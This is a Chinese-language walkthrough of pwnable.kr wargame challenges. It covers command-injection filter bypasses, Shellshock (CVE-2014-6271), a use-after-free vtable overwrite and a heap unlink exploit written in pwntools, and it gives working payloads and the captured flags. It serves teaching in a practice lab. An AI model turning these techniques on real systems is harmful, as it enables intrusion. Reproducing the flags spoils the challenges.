- < 优先级高于赋值优先级,open("/home/mistake/password",O_RDONLY,0400) 肯定大于0,比较之后fd=0,相当于从标准输入中读取
输入000000000,fd指向的内容,然后输入1111111111,与逐位与1异或后,结果是0000000000,得到flag: Mommy, the operator priority always confuses me :(
0x10 shellshock
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
- 其中:
- int setreuid(uid_t ruid, uid_t euid);
setreuid()用来将参数ruid 设为目前进程的真实用户识别码, 将参数euid 设置为目前进程的有效用户识别码. 如果参数ruid 或euid 值为-1, 则对应的识别码不会改变。
- gid_t getegid(void);
getegid()用来取得执行目前进程有效组识别码. 有效的组识别码用来决定进程执行时组的权限.
简单来说呢就是设置了下以后使用system函数打开的bash所属当前进程的组,会继承当前的这个环境变量
shellshock@ubuntu:~$ ls -al
total 980
drwxr-x--- 5 root shellshock 4096 Oct 23 2016 .
drwxr-xr-x 80 root root 4096 Jan 11 23:27 ..
-r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bash
d--------- 2 root root 4096 Oct 12 2014 .bash_history
-r--r----- 1 root shellshock_pwn 47 Oct 12 2014 flag
dr-xr-xr-x 2 root root 4096 Oct 12 2014 .irssi
drwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache
-r-xr-sr-x 1 root shellshock_pwn 8547 Oct 12 2014 shellshock
-r--r--r-- 1 root root 188 Oct 12 2014 shellshock.c
-r-xr-sr-x 1 root shellshock_pwn 8547 Oct 12 2014 shellshock
-r--r----- 1 root shellshock_pwn 47 Oct 12 2014 flag
我们注意到这个shellsock和flag属于一个用户组,所以说使用当前这个可执行文件就可以cat到flag的内容,所以我们构造输入:
- shellshock中文来说就是破壳漏洞,就是由于用户可以控制环境变量参数,然后在新打开的shell中会把一些环境变量参数当作命令来执行。
env x='() { :;}; /bin/cat flag' ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault
0x11 coin
ubuntu@VM-74-222-ubuntu:~$ nc pwnable.kr 9007
---------------------------------------------------
- Shall we play a game? -
---------------------------------------------------
You have given some gold coins in your hand
however, there is one counterfeit coin among them
counterfeit coin looks exactly same as real coin
however, its weight is different from real one
real coin weighs 10, counterfeit coin weighes 9
help me to find the counterfeit coin with a scale
if you find 100 counterfeit coins, you will get reward :)
FYI, you have 30 seconds.
- How to play -
1. you get a number of coins (N) and number of chances (C)
2. then you specify a set of index numbers of coins to be weighed
3. you get the weight information
4. 2~3 repeats C time, then you give the answer
- Example -
[Server] N=4 C=2 # find counterfeit among 4 coins with 2 trial
[Client] 0 1 # weigh first and second coin
[Server] 20 # scale result : 20
[Client] 3 # weigh fourth coin
[Server] 10 # scale result : 10
[Client] 2 # counterfeit coin is third!
[Server] Correct!
- Ready? starting in 3 sec... -
100组30秒,在它的服务器上运行,主要是考察网络编程
# coding: utf-8
from socket import*
import random
import time
HOST='0.0.0.0'
PORT=9007
#建立socket对象
client=socket(AF_INET,SOCK_STREAM)
#AF_INET表示将使用标准的ipv4地址或主机名
#SOCK_STREAM说明这是一个TCP客户端
client.connect((HOST,PORT))#连接
data = client.recv(1024)
time.sleep(4)
for i in range(100):
data = client.recv(1024)#接收数据
int_cnt=data.find('N=')+2 #int_cnt用于找到N,C
N=0
C=0
while True:
N+=int(data[int_cnt])
int_cnt+=1
if data[int_cnt]==' ':
break
N*=10
int_cnt=data.find('C=')+2
while True:
C+=int(data[int_cnt])
int_cnt+=1
if data[int_cnt]<'0' :
break
if data[int_cnt]>'9' :
break
C*=10
print 'get N=%d'%N,'get C=%d'%C#打印N,C
left=0
right=N-1
mid=(left+right)/2#二分
for i in xrange(C):#C次询问
str_ask=[str(n) for n in xrange(left,mid+1)]
str_ask=" ".join(str_ask)#构造要询问的硬币
client.send(str_ask+"\n")#发送数据
str_weight=client.recv(1024)#接收数据
str_weight.split("\n")
int_weight=int(str_weight)
print "int_weight = ",int_weight,"l=%d mid=%d r=%d"%(left,mid,right)
if int_weight!=((mid-left+1)*10):
right=mid
mid=(right+left)/2
else:
left=mid+1
mid=(left+right)/2
client.send(str(mid)+"\n")
ans=client.recv(1024)
print "ans=",ans
ans=client.recv(1024)#flag
print "ans=%s"%ans
client.close()
flag:b1NaRy_S34rch1nG_1s_3asy_p3asy
0x12 blackjack
一个类似于21点的游戏,关键点在
int betting() //Asks user amount to bet
{
printf("\n\nEnter Bet: $");
scanf("%d", &bet);
if (bet > cash) //If player tries to bet more money than player has
{
printf("\nYou cannot bet more money than you have.");
printf("\nEnter Bet: ");
scanf("%d", &bet);
return bet;
}
要求达到100w的赌资,我们直接传进去一个-100w,故意输就好
flag:YaY_I_AM_A_MILLIONARE_LOL
0x13 lotto
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
unsigned char submit[6];
void play(){
int i;
printf("Submit your 6 lotto bytes : ");
fflush(stdout);
int r;
r = read(0, submit, 6);
printf("Lotto Start!\n");
//sleep(1);
// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1){
printf("error. tell admin\n");
exit(-1);
}
unsigned char lotto[6];
if(read(fd, lotto, 6) != 6){
printf("error2. tell admin\n");
exit(-1);
}
for(i=0; i<6; i++){
lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45
}
close(fd);
// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}
// win!
if(match == 6){
system("/bin/cat flag");
}
else{
printf("bad luck...\n");
}
}
void help(){
printf("- nLotto Rule -\n");
printf("nlotto is consisted with 6 random natural numbers less than 46\n");
printf("your goal is to match lotto numbers as many as you can\n");
printf("if you win lottery for *1st place*, you will get reward\n");
printf("for more details, follow the link below\n");
printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
printf("mathematical chance to win this game is known to be 1/8145060.\n");
}
int main(int argc, char* argv[]){
// menu
unsigned int menu;
while(1){
printf("- Select Menu -\n");
printf("1. Play Lotto\n");
printf("2. Help\n");
printf("3. Exit\n");
scanf("%d", &menu);
switch(menu){
case 1:
play();
break;
case 2:
help();
break;
case 3:
printf("bye\n");
return 0;
default:
printf("invalid menu\n");
break;
}
}
return 0;
}
/dev/urandom中读取6个字节,这个文件是Linux下根据系统熵产生的随机数,然后后边的操作实际上是限定了assic <=45,并且lotto的6个数值都相等,尝试即可得到答案。
flag: sorry mom... I FORGOT to check duplicate numbers... :(
0x14 cmd1
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/fuckyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
main 函数所进行的操作是首先把环境变量设置为/fuckyouverymuch,导致/bin/下的命令无法直接使用
strstr(str1,str2)是指的是判断str2是否是str1的子串,是的话返回首次出现的位置,否则返回null
所以就是说不能包含flag sh tmp等字符,但是可以考虑使用星号来补全,我们提交./cmd1 "/bin/cat fla*"
flag:mommy now I get what PATH environment is for :)
0x15 cmd2
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}
extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}
int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system( argv[1] );
return 0;
}
路径cd到根目录,使用pwd得到/,加一个“$”,而且最外面加一个单引号,作用是在传递的时候告诉程序这是一个单一字符串,不能解释里面的内容。否则在传参阶段就被解释,在filter哪里就会被滤掉了。
cmd2@ubuntu:/$ ./home/cmd2/cmd2 '""$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl*""'
""$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl*""
FuN_w1th_5h3ll_v4riabl3s_haha
0x16 uaf
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
- UAF: (Use After Free 漏洞)
UAF:引用一段被释放的内存可导致程序崩溃,或处理非预期数值,或执行无干指令。使用被释放的内存可带来诸多不利后果,根据具体实例和缺陷发生时机,轻则导致程序合法数据被破坏,重则可执行任意指令。
- UAF错误的原因:
(1)导致程序出错和发生异常的各种条件
(2)程序负责释放内存的指令发生混乱
其实简单来说就是因为分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。(这个指针可以称为悬空指针)
- UAF漏洞的利用:
(1)先搞出来一个悬空指针
(2)精心构造数据填充被释放的内存区域
(3)再次使用该指针,让填充的数据使eip发生跳转。
- 堆的特性
在回收掉一个block后,如果新的malloc大小比之前的block小或者恰好相等,那么堆会优先分配最近一次free的block给malloc。因此,这里只需要malloc也就是new的字段大小恰好登录Human的大小,就能够成功的改写其中的内容。
---- 整体思路是这样的:
1.首先调用delete函数释放掉两个对象的空间
2.然后使用传给main函数的argv参数,分配空间给新的函数
3.用give_shell函数去覆盖掉introduce()的地址,选择选项1,可得到shell。
首先查看虚表中函数的地址:
image
发现 introduce(0000000000401598) = give_shell(0000000000401590) + 8
查看main函数为两个human对象分配了多少空间:
image
分配了24字节,这样的话我们等会构造也用24字节
- 我们可以看到这两个创建的对象的虚表指针,他们的虚函数表都是继承自父类,并且重写了introduce方法,这里我们使用0x401570这个地址,这个地址实际上是虚表的指针,初始指向虚表的首项,而后边红色的地址则是这个虚函数实际的地址:
image
-
我们可以看到调用introduce函数的时候实际上时使用了eax+8来指向虚表中的地址,eax本来存的是0x401570这个地址,那么我们构造的时候,只需要把introduce这个函数的地址复写为give_shell函数的地址即可,,所以我们使用0x401570-8来构造(0x401568)
image
我猜测图中的两个giveshell函数的虚表指针分别是属于创建的两个对象的,我们无论用哪个都可以。
delete m;
delete w;
m->introduce();
w->introduce();
我们注意到delete的顺序是先m后w,所以最先分配的是w释放的地址,然后再分配m,但是调用的时候我们是先调用m,再调用w,所以就需要free后两次分配空间。即可得到shell。
python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > in
root@kali:/home/uaf# ./uaf 24 ./in
3
2
2
1
#
flag:yay_f1ag_aft3r_pwning
0X20 unlink
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
- 典型的unlink利用,但是unklink之后并没有调用函数,和经典的用shell code去覆盖写free@got表不同,查看反汇编代码:
Dump of assembler code for function main:
0x0804852f <+0>: lea ecx,[esp+0x4]
0x08048533 <+4>: and esp,0xfffffff0
0x08048536 <+7>: push DWORD PTR [ecx-0x4]
0x08048539 <+10>: push ebp
0x0804853a <+11>: mov ebp,esp
0x0804853c <+13>: push ecx
0x0804853d <+14>: sub esp,0x14
0x08048540 <+17>: sub esp,0xc
0x08048543 <+20>: push 0x400
0x08048548 <+25>: call 0x80483a0 <malloc@plt>
0x0804854d <+30>: add esp,0x10
0x08048550 <+33>: sub esp,0xc
0x08048553 <+36>: push 0x10
0x08048555 <+38>: call 0x80483a0 <malloc@plt>
0x0804855a <+43>: add esp,0x10
0x0804855d <+46>: mov DWORD PTR [ebp-0x14],eax
0x08048560 <+49>: sub esp,0xc
0x08048563 <+52>: push 0x10
0x08048565 <+54>: call 0x80483a0 <malloc@plt>
0x0804856a <+59>: add esp,0x10
0x0804856d <+62>: mov DWORD PTR [ebp-0xc],eax
0x08048570 <+65>: sub esp,0xc
0x08048573 <+68>: push 0x10
0x08048575 <+70>: call 0x80483a0 <malloc@plt>
0x0804857a <+75>: add esp,0x10
0x0804857d <+78>: mov DWORD PTR [ebp-0x10],eax
0x08048580 <+81>: mov eax,DWORD PTR [ebp-0x14]
0x08048583 <+84>: mov edx,DWORD PTR [ebp-0xc]
0x08048586 <+87>: mov DWORD PTR [eax],edx
0x08048588 <+89>: mov edx,DWORD PTR [ebp-0x14]
0x0804858b <+92>: mov eax,DWORD PTR [ebp-0xc]
0x0804858e <+95>: mov DWORD PTR [eax+0x4],edx
0x08048591 <+98>: mov eax,DWORD PTR [ebp-0xc]
0x08048594 <+101>: mov edx,DWORD PTR [ebp-0x10]
0x08048597 <+104>: mov DWORD PTR [eax],edx
0x08048599 <+106>: mov eax,DWORD PTR [ebp-0x10]
0x0804859c <+109>: mov edx,DWORD PTR [ebp-0xc]
---Type <return> to continue, or q <return> to quit---
0x0804859f <+112>: mov DWORD PTR [eax+0x4],edx
0x080485a2 <+115>: sub esp,0x8
0x080485a5 <+118>: lea eax,[ebp-0x14]
0x080485a8 <+121>: push eax
0x080485a9 <+122>: push 0x8048698
0x080485ae <+127>: call 0x8048380 <printf@plt>
0x080485b3 <+132>: add esp,0x10
0x080485b6 <+135>: mov eax,DWORD PTR [ebp-0x14]
0x080485b9 <+138>: sub esp,0x8
0x080485bc <+141>: push eax
0x080485bd <+142>: push 0x80486b8
0x080485c2 <+147>: call 0x8048380 <printf@plt>
0x080485c7 <+152>: add esp,0x10
0x080485ca <+155>: sub esp,0xc
0x080485cd <+158>: push 0x80486d8
0x080485d2 <+163>: call 0x80483b0 <puts@plt>
0x080485d7 <+168>: add esp,0x10
0x080485da <+171>: mov eax,DWORD PTR [ebp-0x14]
0x080485dd <+174>: add eax,0x8
0x080485e0 <+177>: sub esp,0xc
0x080485e3 <+180>: push eax
0x080485e4 <+181>: call 0x8048390 <gets@plt>
0x080485e9 <+186>: add esp,0x10
0x080485ec <+189>: sub esp,0xc
0x080485ef <+192>: push DWORD PTR [ebp-0xc]
0x080485f2 <+195>: call 0x8048504 <unlink>
0x080485f7 <+200>: add esp,0x10
0x080485fa <+203>: mov eax,0x0
0x080485ff <+208>: mov ecx,DWORD PTR [ebp-0x4]
0x08048602 <+211>: leave
0x08048603 <+212>: lea esp,[ecx-0x4]
0x08048606 <+215>: ret
End of assembler dump.
可以看到A在stack上的位置ebp-0x14,而利用的关键点在与最后的ret指令,思路是可以通过unlink操作,将shellcode写入stack上特定的位置,使得ret指令执行后就执行shellcode。
- 首先我们看到ret之前
lea esp,[ecx-0x4]
而ecx=ebp-0x4,DWORD PTR []表示[]里面的数据是一个双字型数据,比如mov eax, dword ptr [12345678]
把内存地址12345678中的双字型(32位)数据赋给eax.所以stack A和要控制到的位置差了0x10 - 32bit下,指针类型大小是4字节,A的结构为FD(4)BK(4)BUF(8),所以shellcode的地址设置为heap A + 8,又因为esp = ecx - 4
Stack:
| low
|
| stack A(ebp-0x14)
|
| ecx - 0x4 // ebp-0x04处的值再减去0x04=esp,ret执行此处代码
| ebp - 0x4 (ecx) // 把ebp-0x04处的32位值赋给ecx
| ebp
|
| high
- 所以shellcode+4+4的地址 = ebp-0x04处的值, 由于是unlink的B
- unlink() 所作的就是:
- (B->fd)->bk=B->bk
- (B->bk)->fd=B->fd
因为 OBJ 结构体的第一个成员就是fd,所以上式
```
*(*B+4) = *(B+4)
**(B+4) = *B
```
如果要利用unlink来覆盖返回地址,则B的布局应该是这样的
+-------------------+-------------------+
|stack[return addr] | addr shell |
+-------------------+-------------------+
| padding |
+---------------------------------------+
这样在执行B->fd->bk = B->bk就完成了覆盖main的返回地址。But,执行B->bk->fd = B->fd这一段的时候,[addr shell]则会落入不可读写的地址,造成程序段错误。
如果覆盖后的B的fd是stack + 12,bk是heap+8,在执行unlink操作的时候会把heap+8处覆盖为栈上的内容从而覆盖掉shellcode的地址
- A的栈位置+0x10=[ebp-0x4]=ecx=shellcode+0x4=(A的堆位置+0x8)+0x4=A的堆位置+0xC
+-------------------+-------------------+ <- heap addr[A]
| FD | BK |
+-------------------+-------------------+ <- [A->buf]
| shell addr | AAAA |
+---------------------------------------+
| AAAAAAAA |
+---------------------------------------+ <- [B]
| heap + 12 | stack + 16 |
+-------------------+-------------------+
EXP:
from pwn import *
shell_addr = 0x080484eb
s = ssh(host='pwnable.kr',
port=2222,
user='unlink',
password='guest',
)
p =s.process('./unlink')
p.recvuntil('here is stack address leak: ')
stack_addr = int(p.recv(10),16)
p.recvuntil('here is heap address leak: ')
heap_addr = int(p.recv(10),16)
payload = p32(shell_addr) + 'a'*12 +p32(heap_addr + 12) +p32(stack_addr+0x10)
p.send(payload)
p.interactive()
网友评论